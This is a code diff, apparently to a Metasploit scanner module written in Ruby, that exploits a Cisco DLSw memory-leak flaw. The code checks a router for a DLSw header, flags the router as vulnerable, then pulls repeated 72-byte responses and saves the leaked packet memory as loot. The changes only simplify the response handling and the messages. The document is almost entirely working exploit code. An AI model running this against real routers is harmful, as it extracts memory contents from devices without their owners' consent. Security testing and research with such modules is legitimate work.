@@ -47,18 +47,21 @@ def peer
47
47
peer = "#{ rhost } :#{ rport } "
48
48
end
49
49
50
- def response_timeout
51
- datastore [ 'RESPONSE_TIMEOUT' ]
50
+ def get_response ( size = 8 )
51
+ connect
52
+ response = sock . get_once ( size )
53
+ disconnect
54
+ response
52
55
end
53
56
54
57
# Called when using check
55
58
def check_host ( ip )
56
59
print_status ( "Checking #{ peer } for DLSw exposure" )
57
60
response = get_response
58
-
61
+
59
62
dlsw_header = [ "3148015b" ] . pack ( "H*" ) # => "\x31\x48\x01\x5b""
60
63
if !response . blank? && ( response [ 0 ..3 ] == dlsw_header )
61
- print_good ( "#{ peer } : The target Cisco router appears vulnerable: parts of a Cisco IOS banner detected " )
64
+ print_good ( "#{ peer } : Detected DLSw protocol " )
62
65
report_vuln (
63
66
host : rhost ,
64
67
port : rport ,
@@ -77,53 +80,26 @@ def check_host(ip)
77
80
end
78
81
end
79
82
80
- def get_response ( size = 1024 )
81
- connect
82
- response = get_data ( size )
83
- disconnect
84
- response
85
- end
86
-
87
- # Borrowed from https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb
88
- def get_data ( length = -1 )
89
-
90
- print_status ( "Calling get_response" )
91
- return sock . get_once ( -1 , response_timeout ) if length == -1
92
-
93
- to_receive = length
94
- data = ''
95
- while to_receive > 0
96
- temp = sock . get_once ( to_receive , response_timeout )
97
- break if temp . nil?
98
-
99
- data << temp
100
- to_receive -= temp . length
101
- end
102
- data
103
- end
104
-
105
83
# Main method
106
84
def run_host ( ip )
107
85
return unless check_host ( ip ) == Exploit ::CheckCode ::Vulnerable
108
86
109
- print_status ( "#{ peer } : Waiting for #{ datastore [ 'LEAK_AMOUNT' ] } bytes of leaked data" )
110
-
111
87
dlsw_data = ''
112
88
until dlsw_data . length > datastore [ 'LEAK_AMOUNT' ]
113
89
response = get_response ( 72 )
114
- unless response . blank?
115
- dlsw_data << response [ 18 ..72 ] # range of the leaked packet contents
90
+ unless response . blank?
91
+ dlsw_data << response [ 18 ..72 ]
116
92
end
117
93
end
118
94
loot_and_report ( dlsw_data )
119
95
end
120
96
121
- def loot_and_report ( dlsw_data )
97
+ def loot_and_report ( dlsw_leak )
122
98
path = store_loot (
123
99
'dlsw.packet.contents' ,
124
100
'application/octet-stream' ,
125
101
rhost ,
126
- dlsw_data ,
102
+ dlsw_leak ,
127
103
'DLSw_leaked_data' ,
128
104
'DLSw packet memory leak'
129
105
)
0 commit comments